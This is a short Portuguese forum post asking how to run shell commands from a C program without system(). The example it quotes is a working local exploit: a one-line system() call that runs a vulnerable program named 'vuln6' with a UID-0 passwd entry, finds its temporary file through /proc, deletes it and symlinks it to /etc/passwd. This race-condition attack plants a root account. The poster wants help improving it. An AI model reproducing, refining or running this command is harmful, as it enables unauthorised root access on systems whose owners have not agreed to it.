tenho uma duvida. Eh o seguinte:
"Gostaria de saber se ao estar programando em C eu possa fazer algo no meio do codigo ou na declaracao das variaveis atributos shell q interajam com outros programas, façam chamadas de comandos do linux ou shell.
Gostaria de saber se tem como realizar isso sem utilizar o comando "system();
tipo com system estah nojento. estah assim:
system("./vuln6 user:x:0:0::/:/bin/bash'&' ; $PID=`ps | grep vuln6 | cut -d" " -f2` ; $FILE_NAME=`ls -l /proc/$PID/fd/3 | cut -d'>' -f2` ; rm -f $FILE_NAME ; ln -sf /etc/passwd $FILE_NAME");
sem tirar o system perco todos os valores atribuidos as variaveis ambiente..
gostaria de saber se tem uma solucao para isso.
falooow
valeu
[]'s